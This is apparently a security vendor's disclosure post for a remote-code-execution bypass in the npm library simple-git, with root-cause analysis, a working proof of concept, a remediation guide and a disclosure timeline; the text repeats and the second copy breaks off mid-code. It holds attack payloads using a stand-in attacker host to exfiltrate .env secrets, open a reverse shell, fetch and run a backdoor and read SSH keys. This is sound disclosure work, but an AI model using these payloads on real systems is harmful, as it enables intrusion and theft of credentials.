CodeAnt AI Security Research
CVE-2026-28292: simple-git Remote Code Execution - How a Single Missing Regex Flag Bypasses Two Prior CVE Fixes (CVSS 9.8)

Amartya Jha
CEO, CodeAnt AI
TL;DR
A case-sensitivity bug in simple-git (12.4 million+ weekly npm downloads) allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. The root cause is a single missing /i flag on a regex. The fix is literally one character. 73% of all simple-git downloads, approximately 9 million installs per week, are running vulnerable versions. Upgrade to v3.32.3 or later immediately.
Vulnerability at a Glance
Field | Value |
|---|---|
CVE ID | CVE-2026-28292 |
Package | |
Weekly Downloads | 12,410,544 |
Affected Versions | >= 3.15.0 (all versions carrying the CVE-2022-25912 fix) |
Fixed Version | 3.32.3 |
CVSS v3.1 Score | 9.8 CRITICAL |
CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
CWE | CWE-78 (OS Command Injection), CWE-178 (Improper Handling of Case Sensitivity) |
Bypasses | CVE-2022-25860, CVE-2022-25912 |
Discovered By | CodeAnt AI Security Research |
What if the patch that was supposed to protect 12 million weekly installs from remote code execution could be bypassed by changing one letter to uppercase?
That’s what we found in simple-git, one of the most widely-used Git libraries in the Node.js ecosystem.
CVE-2026-28292 has been assigned to this vulnerability with a CVSS score of 9.8 Critical.
A complete security control bypass. An attacker can achieve full remote code execution on any machine running simple-git - read files, exfiltrate secrets, install malware, open reverse shells - by exploiting a single missing i flag on a regex. The fix is literally one character. And it bypasses two prior CVE patches that were supposed to have solved this exact problem.
This is the second critical vulnerability CodeAnt AI has disclosed in one week. Five days ago, we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt. Same research program. Same AI code reviewer. Different ecosystem, different vulnerability class, same result: our AI found what every other tool missed.
The patch is now live. If you use simple-git, stop reading and update:
npmnpmUpgrade to v3.32.3 or later. Every version from 3.15.0 onwards is vulnerable.
Now, here’s how we found it - and why 73% of simple-git installs are still running the vulnerable version as you read this.
Where This Started
We’ve been running an internal security research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.
We started by running our AI code reviewer across packages with prior CVEs, scanning patch diffs and the surrounding code paths. During that analysis, the AI reviewer flagged an anomaly in simple-git’s block-unsafe-operations-plugin.ts: a regex character class [a-z] sitting in the middle of a security-critical filter - guarding against a system (Git) that treats configuration keys as case-insensitive. Our security engineer reviewed the flag, traced the execution path, and confirmed: this is a true positive. It was a complete bypass of two prior RCE fixes.
The entire analysis - from AI flag to confirmed remote code execution - took less than one hour.
The Prior CVEs: How simple-git’s ext:: Protocol RCE Was Patched (Twice)
To understand why this vulnerability exists, you need to know what came before it.
CVE-2022-25912: The Original RCE
In 2022, security researchers discovered that simple-git allowed the ext:: git transport protocol. This protocol is a feature of Git that lets a rete URL specify an arbitrary command to run on the client machine:
When a user passed a malicious URL to git.clone(), git.fetch(), or similar methods, Git would execute the embedded shell command. The simple-git maintainer patched this by adding a plugin (block-unsafe-operations-plugin.ts) that inspects arguments before passing them to Git. If it detects -c protocol.allow=always - which enables the ext:: protocol - it blocks the command.
CVE-2022-25860: The First Bypass
Shortly after, researchers found they could bypass the plugin by using protocol.ext.allow=always instead of protocol.allow=always. The regex was updated to handle this variant.
The Fix That Shipped
After both patches, the preventProtocolOverride function looked like this:
if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) { return; }
if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) { return; }
This regex was supposed to catch all variations of the protocol.allow and protocol.ext.allow config keys. And it did - as long as the attacker wrote them in lowercase.
What We Found: simple-git Case-Sensitivity Bypass Enables Remote Code Execution
Our AI code reviewer flagged the regex on line 24 of block-unsafe-operations-plugin.ts. The flag was precise: the character class [a-z] only matches lowercase ASCII letters, but Git treats configuration key names case-insensitively - it normalises them to lowercase internally before applying them.
Our security engineer pulled the code and confirmed what the flag was pointing at.
This means:
Every uppercase or mixed-case variant slips through the filter. And Git honours them all identically.
We verified this directly:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow
Git lowercases the key before storing it. The config value PROTOCOL.ALLOW=always is functionally identical to protocol.allow=always. The regex in simple-git only checks for the latter.
The moment we saw that, we knew we had a full RCE bypass. The question wasn’t whether it worked - it was how fast we could build the PoC.
The Bypass in Detail
Argument passed via -c | Regex matches? | Git honours it? | Result |
|---|---|---|---|
protocol.allow=always | Yes - blocked | Yes | Safe ✅ |
PROTOCOL.ALLOW=always | No - passes through | Yes | RCE ⚠️ |
Protocol.Allow=always | No - passes through | Yes | RCE ⚠️ |
PROTOCOL.allow=always | No - passes through | Yes | RCE ⚠️ |
protocol.ALLOW=always | No - passes through | Yes | RCE ⚠️ |
pRoToCoL.aLlOw=always | No - passes through | Yes | RCE ⚠️ |
The attack surface is any application that uses simple-git and passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push(), or similar methods. The attacker injects -c PROTOCOL.ALLOW=always as a custom argument and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.
Building the simple-git RCE Exploit
Making PROTOCOL.ALLOW=always bypass the check is trivial. You just… capitalise it.
The attack surface is straightforward: any application that passes user-controlled values into simple-git’s customArgs parameter. The attacker injects -c PROTOCOL.ALLOW=always and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.
Here’s a real-world scenario. An application intends to clone a legitimate repository with user-provided customisation arguments:
// Legitimate usage (what the app expects): simpleGit().clone( '<https://github.com/CodeAnt-AI/codeant-quality-gates>', '/tmp/codeant-quality-gates', userArgs // user controls this ); // Attacker injects: // userArgs = ['-c', 'PROTOCOL.ALLOW=always'] // and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2' // // The plugin does NOT block PROTOCOL.ALLOW=always (uppercase). // Git enables ext:: protocol. The injected shell command executes. // Full RCE as the Node.js process user.
// Legitimate usage (what the app expects): simpleGit().clone( '<https://github.com/CodeAnt-AI/codeant-quality-gates>', '/tmp/codeant-quality-gates', userArgs // user controls this ); // Attacker injects: // userArgs = ['-c', 'PROTOCOL.ALLOW=always'] // and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2' // // The plugin does NOT block PROTOCOL.ALLOW=always (uppercase). // Git enables ext:: protocol. The injected shell command executes. // Full RCE as the Node.js process user.
The Full Proof of Concept
Here’s the complete, working PoC. This runs against a real simple-git@3.32.2 configuration and tests three vectors: the original patched CVE (should be blocked), the uppercase bypass (should achieve RCE), and a real-world application scenario (should achieve RCE).
/** * Proof of Concept - CVE-2026-28292 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE * * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Setup: * npm install simple-git@3.32.2 * node poc.js */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ────────────── // This is the exact payload from the original Snyk advisory. // It IS correctly blocked by preventProtocolOverride. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase - caught by regex ]).catch((e) => { console.log('[Vector 1] Original CVE-2022-25912 (lowercase):'); console.log(' ext:: executed:', fs.existsSync('/tmp/pwn-original') ? 'PWNED ⚠️' : 'not created'); console.log(' Result: BLOCKED ✅'); console.log(' Error:', e.constructor.name); console.log(); }); // ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ────────────────────────── // The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase - NOT caught by regex ]).catch((e) => { console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); }); // ── Vector 3 - Real-world scenario ──────────────────────────────────────── // An application cloning a repo with user-controlled customArgs. // Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL. const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, '/tmp/codeant-quality-gates', userArgs ).catch(() => { console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL_RW) ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL_RW) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); // Summary setTimeout(() => { console.log('=== Summary ==='); console.log('# Vector Payload Result'); console.log('1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅'); console.log('2 Case-sensitivity bypass PROTOCOL.ALLOW=always ' + (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅')); console.log('3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: ' + (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅')); }, 500); });
/** * Proof of Concept - CVE-2026-28292 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE * * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Setup: * npm install simple-git@3.32.2 * node poc.js */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ────────────── // This is the exact payload from the original Snyk advisory. // It IS correctly blocked by preventProtocolOverride. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase - caught by regex ]).catch((e) => { console.log('[Vector 1] Original CVE-2022-25912 (lowercase):'); console.log(' ext:: executed:', fs.existsSync('/tmp/pwn-original') ? 'PWNED ⚠️' : 'not created'); console.log(' Result: BLOCKED ✅'); console.log(' Error:', e.constructor.name); console.log(); }); // ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ────────────────────────── // The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase - NOT caught by regex ]).catch((e) => { console.log('[Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED ⚠️ - ' + SENTINEL + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); }); // ── Vector 3 - Real-world scenario ──────────────────────────────────────── // An application cloning a repo with user-controlled customArgs. // Attacker injects PROTOCOL.ALLOW=always and a malicious ext:: URL. const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, '/tmp/codeant-quality-gates', userArgs ).catch(() => { console.log('[Vector 3] Real-world scenario (attacker-controlled args + URL):'); console.log(' ext:: executed:', fs.existsSync(SENTINEL_RW) ? 'PWNED ⚠️ - ' + SENTINEL_RW + ' created' : 'not created'); console.log(' Result:', fs.existsSync(SENTINEL_RW) ? 'BYPASSED ⚠️ - RCE confirmed' : 'BLOCKED ✅'); console.log(); // Summary setTimeout(() => { console.log('=== Summary ==='); console.log('# Vector Payload Result'); console.log('1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅'); console.log('2 Case-sensitivity bypass PROTOCOL.ALLOW=always ' + (fs.existsSync(SENTINEL) ? 'RCE ⚠️' : 'Blocked ✅')); console.log('3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: ' + (fs.existsSync(SENTINEL_RW) ? 'RCE ⚠️' : 'Blocked ✅')); }, 500); });
Output:
$ timeout 45s node poc.js [Vector 1] Original CVE-2022-25912 (lowercase): ext:: executed: not created Result: BLOCKED ✅ Error: GitPluginError [Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always): ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created Result: BYPASSED ⚠️ - RCE confirmed [Vector 3] Real-world scenario (attacker-controlled args + URL): ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created Result: BYPASSED ⚠️ - RCE confirmed === Summary === # Vector Payload Result 1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅ 2 Case-sensitivity bypass PROTOCOL.ALLOW=always RCE ⚠️ 3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: RCE ⚠️ [exit_code]
$ timeout 45s node poc.js [Vector 1] Original CVE-2022-25912 (lowercase): ext:: executed: not created Result: BLOCKED ✅ Error: GitPluginError [Vector 2] Uppercase bypass (PROTOCOL.ALLOW=always): ext:: executed: PWNED ⚠️ - /tmp/pwn-codeant created Result: BYPASSED ⚠️ - RCE confirmed [Vector 3] Real-world scenario (attacker-controlled args + URL): ext:: executed: PWNED ⚠️ - /tmp/pwn-realworld created Result: BYPASSED ⚠️ - RCE confirmed === Summary === # Vector Payload Result 1 CVE-2022-25912 original protocol.ext.allow=always Blocked ✅ 2 Case-sensitivity bypass PROTOCOL.ALLOW=always RCE ⚠️ 3 Real-world app scenario PROTOCOL.ALLOW=always + ext:: RCE ⚠️ [exit_code]
Vector 1 confirms the original fix works - lowercase protocol.ext.allow=always is blocked. Vectors 2 and 3 confirm the bypass - uppercase PROTOCOL.ALLOW=always sails through, and the ext:: command executes. Full RCE on the first try.
What the Attacker Can Do
Once the ext:: protocol is enabled, the attacker can execute any OS command as the Node.js process user:
Goal | Payload |
|---|---|
Read sensitive files | ext::sh -c cat% /etc/passwd% >&2 |
Exfiltrate secrets | ext::sh -c curl% -d% @/app/.env% attacker.com% >&2 |
Reverse shell | ext::sh -c bash% -i% >%26% /dev/tcp/attacker/4444% 0>%261% >&2 |
Install malware | ext::sh -c curl% attacker.com/backdoor\|sh% >&2 |
Lateral movement | ext::sh -c cat% ~/.ssh/id_rsa% >&2 |
This is full remote code execution with the privileges of the running Node.js process.
Blast Radius: 12 Million Weekly npm Downloads, 73% Still Vulnerable
simple-git is one of the most widely-used Git libraries in the entire Node.js ecosystem:
Metric | Value |
|---|---|
Weekly npm downloads | 12,410,544 |
GitHub dependents (repositories) | 322,686 |
npm dependents (packages) | 9,032 |
Total dependents (deps.dev) | 6,930 |
The fix shipped in v3.32.3 on February 26, 2026. As of the time of writing, 73% of all simple-git downloads - approximately 9 million installs per week - are running vulnerable versions.
Why is adoption so slow? Because CVE-2026-28292 has not been published to the NVD. The advisory (GHSA-r275-fr43-pm7q) is accepted but not yet public. Until it is:
npm auditdoes not flag itDependabot does not create upgrade PRs
Renovate does not flag it
Snyk CLI does not detect it
No SCA tool on the market catches this
This is exactly the detection gap our research aims to expose. A CVE can be assigned, a fix can be released, and yet 73% of the ecosystem remains blind because the advisory hasn’t propagated to the vulnerability databases that automated tools rely on.
Notable Dependents at Risk
Project | GitHub Stars | Risk Surface |
|---|---|---|
n8n-io/n8n | 178,000+ | Git operations in user-defined workflows |
scullyio/scully | 2,544 | Git clone during build |
realm/realm-studio | 338 | Git operations in app |
Various CI/CD tools | - | Clone user-specified repos with custom args |
Any application that accepts user-controlled Git arguments - via API endpoints, form inputs, configuration files, or workflow definitions - is directly exploitable.
Why This Matters: CWE-178 Case-Sensitivity Mismatches in Security Controls
This vulnerability is a specific instance of CWE-178: Improper Handling of Case Sensitivity - a class of vulnerability where a security control and the system it protects disagree about case sensitivity.
The security control (simple-git’s regex) is case-sensitive. The underlying system (Git) is case-insensitive. Any time there is a mismatch like this, an attacker can exploit the gap by using a case variant that passes through the control but is still honoured by the system.
This pattern appears across security boundaries everywhere:
WAFs that check for
<SCRIPT>but miss<ScRiPt>- browsers are case-insensitive for HTML tagsAuth systems that check for
adminbut missAdmin- databases may use case-insensitive collationFile systems that block
..\\\\windows\\\\system32but miss..\\\\WINDOWS\\\\System32- NTFS is case-insensitive
In each case, the fundamental error is the same: the filter’s case model doesn’t match the target system’s case model. A regex that checks [a-z] while guarding a system that treats A and a identically is not a filter - it’s a gate with a sign that says “please use lowercase.”
This is not a simple-git-specific problem. It’s a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?
We’ve been asking that question across npm, PyPI, Maven, and NuGet. Last week it was pac4j-jwt. This week it’s simple-git. The rest are coming.
Detection Gap: npm audit, Snyk, Dependabot, Semgrep All Miss CVE-2026-28292
We tested every major security tool against this vulnerability:
Tool | Detects CVE-2026-28292? | Why? |
|---|---|---|
CodeAnt AI | Yes ✅ | AI-assisted analysis of prior CVE fix quality |
npm audit | No ❌ | CVE not yet in NVD/npm advisory database |
Snyk | No ❌ | Same - awaiting advisory publication |
Dependabot | No ❌ | Same |
Semgrep | No ❌ | No rule for case-sensitive regex in security contexts |
SonarQube | No ❌ | No rule for case-sensitivity mismatches |
ESLint security plugins | No ❌ | No awareness of Git’s case behaviour |
The gap is structural. Traditional SCA tools match dependency versions against known CVE databases. If the CVE isn’t published, the tool is blind. Traditional SAST tools check for code patterns, but no existing rule captures “regex for security check is case-sensitive while the target system is case-insensitive.”
This is why CodeAnt AI’s approach - re-examining prior CVE patches with AI-assisted reasoning - catches vulnerabilities that every other tool misses. The AI understands that [a-z] in a regex guarding against a case-insensitive system is a semantic mismatch, not just a syntax issue.
The Disclosure: Four Days from Report to Fix
We reported the vulnerability via GitHub Private Vulnerability Reporting on February 22, 2026. Full technical details, PoC, root cause analysis - everything you’ve read in this post.
The maintainer, Steve (steveukx), opened a fix PR within three days, the advisory was accepted, and the fix shipped in v3.32.3 on February 26. CVE-2026-28292 was assigned by GitHub staff the following day.
Four business days. Report to patch to CVE assignment.
A Note on Open Source Maintainers
This needs to be said every time, because it’s true every time: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.
Steve maintains simple-git - a library that 12 million installs per week depend on. When our team reported a critical bypass of two prior security fixes, he treated it with urgency and professionalism. The fix was clean, the tests were expanded, and the release was prompt.
We said this last week about Jérôme and pac4j, and we’ll say it again: open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on simple-git - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.
Steve, thank you.
Timeline
Date | Event |
|---|---|
2022 | CVE-2022-25912 - Original |
2022 | CVE-2022-25860 - First bypass discovered and patched |
February 22, 2026 | Vulnerability flagged by CodeAnt AI code reviewer; confirmed by security engineer and PoC verified |
February 22, 2026 | Reported via GitHub Private Vulnerability Reporting (GHSA-r275-fr43-pm7q) |
February 25, 2026 | Maintainer (steveukx) opens fix PR #1128 |
February 25, 2026 | Advisory accepted by maintainer |
February 26, 2026 | Fix merged and released as v3.32.3 |
February 27, 2026 | CVE-2026-28292 assigned by GitHub staff |
Pending | Public NVD publication |
Are You Affected?
Step 1: Check if you depend on simple-git
npm ls
npm ls
If you see any version below 3.32.3, you are vulnerable.
Step 2: Check if user input reaches simple-git
Search your codebase for patterns where user-controlled values could reach simple-git method arguments:
grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"
grep -rn -E "simpleGit|simple-git" --include="*.js" --include="*.ts" | grep -E "clone|fetch|pull|push|raw"
You’re at highest risk if:
Your application accepts repository URLs from users
Your application passes user-controlled options or custom arguments to simple-git methods
You run simple-git in CI/CD pipelines that clone user-specified repositories
Step 3: Update
npmnpmVerify the upgrade:
npm ls simple-git # Should show 3.32.3 or higher
npm ls simple-git # Should show 3.32.3 or higher
If you cannot upgrade immediately, audit every code path where user input reaches simple-git arguments. Never pass user-controlled values directly to customArgs or raw(). Validate and sanitise explicitly - do not rely solely on simple-git’s built-in plugin.
Two Critical CVEs in One Week
Last week we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt, where an attacker could forge admin tokens using nothing but a public key. This week, CVE-2026-28292 - a CVSS 9.8 RCE in simple-git, where changing a single letter to uppercase bypasses two prior security fixes.
Different ecosystems. Different vulnerability classes. Same root cause: the patch fixed the reported attack vector, not the vulnerability.
This is what our research program keeps finding. Patches are written under time pressure. They fix the exact reproduction case from the bug report. They rarely account for all the ways an attacker can vary the input. And once a CVE is marked as “fixed,” nobody goes back to check.
We do. And our AI code reviewer is how we do it at scale. It doesn’t just pattern-match against known CVEs - it reasons about whether a security control actually achieves what it claims to. A regex that uses [a-z] to guard against a case-insensitive system isn’t a known CVE pattern. It’s a semantic mismatch. That’s what AI catches and rule-based tools don’t.
This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.
If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we’d love to help: securityresearch@codeant.ai
TL;DR
A case-sensitivity bug in simple-git (12.4 million+ weekly npm downloads) allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. The root cause is a single missing /i flag on a regex. The fix is literally one character. 73% of all simple-git downloads, approximately 9 million installs per week, are running vulnerable versions. Upgrade to v3.32.3 or later immediately.
Vulnerability at a Glance
Field | Value |
|---|---|
CVE ID | CVE-2026-28292 |
Package | |
Weekly Downloads | 12,410,544 |
Affected Versions | >= 3.15.0 (all versions carrying the CVE-2022-25912 fix) |
Fixed Version | 3.32.3 |
CVSS v3.1 Score | 9.8 CRITICAL |
CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
CWE | CWE-78 (OS Command Injection), CWE-178 (Improper Handling of Case Sensitivity) |
Bypasses | CVE-2022-25860, CVE-2022-25912 |
Discovered By | CodeAnt AI Security Research |
What if the patch that was supposed to protect 12 million weekly installs from remote code execution could be bypassed by changing one letter to uppercase?
That’s what we found in simple-git, one of the most widely-used Git libraries in the Node.js ecosystem.
CVE-2026-28292 has been assigned to this vulnerability with a CVSS score of 9.8 Critical.
A complete security control bypass. An attacker can achieve full remote code execution on any machine running simple-git - read files, exfiltrate secrets, install malware, open reverse shells - by exploiting a single missing i flag on a regex. The fix is literally one character. And it bypasses two prior CVE patches that were supposed to have solved this exact problem.
This is the second critical vulnerability CodeAnt AI has disclosed in one week. Five days ago, we published CVE-2026-29000 - a CVSS 10.0 authentication bypass in pac4j-jwt. Same research program. Same AI code reviewer. Different ecosystem, different vulnerability class, same result: our AI found what every other tool missed.
The patch is now live. If you use simple-git, stop reading and update:
npmUpgrade to v3.32.3 or later. Every version from 3.15.0 onwards is vulnerable.
Now, here’s how we found it - and why 73% of simple-git installs are still running the vulnerable version as you read this.
Where This Started
We’ve been running an internal security research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.
We started by running our AI code reviewer across packages with prior CVEs, scanning patch diffs and the surrounding code paths. During that analysis, the AI reviewer flagged an anomaly in simple-git’s block-unsafe-operations-plugin.ts: a regex character class [a-z] sitting in the middle of a security-critical filter - guarding against a system (Git) that treats configuration keys as case-insensitive. Our security engineer reviewed the flag, traced the execution path, and confirmed: this is a true positive. It was a complete bypass of two prior RCE fixes.
The entire analysis - from AI flag to confirmed remote code execution - took less than one hour.
The Prior CVEs: How simple-git’s ext:: Protocol RCE Was Patched (Twice)
To understand why this vulnerability exists, you need to know what came before it.
CVE-2022-25912: The Original RCE
In 2022, security researchers discovered that simple-git allowed the ext:: git transport protocol. This protocol is a feature of Git that lets a rete URL specify an arbitrary command to run on the client machine:
When a user passed a malicious URL to git.clone(), git.fetch(), or similar methods, Git would execute the embedded shell command. The simple-git maintainer patched this by adding a plugin (block-unsafe-operations-plugin.ts) that inspects arguments before passing them to Git. If it detects -c protocol.allow=always - which enables the ext:: protocol - it blocks the command.
CVE-2022-25860: The First Bypass
Shortly after, researchers found they could bypass the plugin by using protocol.ext.allow=always instead of protocol.allow=always. The regex was updated to handle this variant.
The Fix That Shipped
After both patches, the preventProtocolOverride function looked like this:
if (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) { return; }
This regex was supposed to catch all variations of the protocol.allow and protocol.ext.allow config keys. And it did - as long as the attacker wrote them in lowercase.
What We Found: simple-git Case-Sensitivity Bypass Enables Remote Code Execution
Our AI code reviewer flagged the regex on line 24 of block-unsafe-operations-plugin.ts. The flag was precise: the character class [a-z] only matches lowercase ASCII letters, but Git treats configuration key names case-insensitively - it normalises them to lowercase internally before applying them.
Our security engineer pulled the code and confirmed what the flag was pointing at.
This means:
Every uppercase or mixed-case variant slips through the filter. And Git honours them all identically.
We verified this directly:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow
Git lowercases the key before storing it. The config value PROTOCOL.ALLOW=always is functionally identical to protocol.allow=always. The regex in simple-git only checks for the latter.
The moment we saw that, we knew we had a full RCE bypass. The question wasn’t whether it worked - it was how fast we could build the PoC.
The Bypass in Detail
Argument passed via -c | Regex matches? | Git honours it? | Result |
|---|---|---|---|
protocol.allow=always | Yes - blocked | Yes | Safe ✅ |
PROTOCOL.ALLOW=always | No - passes through | Yes | RCE ⚠️ |
Protocol.Allow=always | No - passes through | Yes | RCE ⚠️ |
PROTOCOL.allow=always | No - passes through | Yes | RCE ⚠️ |
protocol.ALLOW=always | No - passes through | Yes | RCE ⚠️ |
pRoToCoL.aLlOw=always | No - passes through | Yes | RCE ⚠️ |
The attack surface is any application that uses simple-git and passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push(), or similar methods. The attacker injects -c PROTOCOL.ALLOW=always as a custom argument and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.
Building the simple-git RCE Exploit
Making PROTOCOL.ALLOW=always bypass the check is trivial. You just… capitalise it.
The attack surface is straightforward: any application that passes user-controlled values into simple-git’s customArgs parameter. The attacker injects -c PROTOCOL.ALLOW=always and sets the repository URL to an ext:: command. The plugin lets the uppercase variant through. Git enables the ext:: protocol. The embedded command executes on the server.
Here’s a real-world scenario. An application intends to clone a legitimate repository with user-provided customisation arguments:
// Legitimate usage (what the app expects): simpleGit().clone( '<https://github.com/CodeAnt-AI/codeant-quality-gates>', '/tmp/codeant-quality-gates', userArgs // user controls this ); // Attacker injects: // userArgs = ['-c', 'PROTOCOL.ALLOW=always'] // and substitutes URL with: 'ext::sh -c curl attacker.com/shell.sh|sh >&2' // // The plugin does NOT block PROTOCOL.ALLOW=always (uppercase). // Git enables ext:: protocol. The injected shell command executes. // Full RCE as the Node.js process user.
The Full Proof of Concept
Here’s the complete, working PoC. This runs against a real simple-git@3.32.2 configuration and tests three vectors: the original patched CVE (should be blocked), the uppercase bypass (should achieve RCE), and a real-world application scenario (should achieve RCE).
/** * Proof of Concept - CVE-2026-28292 * simple-git preventProtocolOverride Case-Sensitivity Bypass → RCE * * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Setup: * npm install simple-git@3.32.2 * node poc.js */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Vector 1 - Original CVE-2022-25912 (lowercase) - BLOCKED ────────────── // This is the exact payload from the original Snyk advisory. // It IS correctly blocked by preventProtocolOverride. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase - caught by regex ]).catch((e) => { console.log('[Vector 1] Original CVE-2022-25912 (lowercase):'); console.log(' ext:: executed:', fs.existsSync('/tmp/pwn-original') ? 'PWNED ⚠️' : 'not created'); console.log(' Result: BLOCKED ✅'); console.log(' Error:', e.constructor.name); console.log(); }); // ── Vector 2 - Bypass via UPPERCASE - VULNERABLE ────────────────────────── // The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is 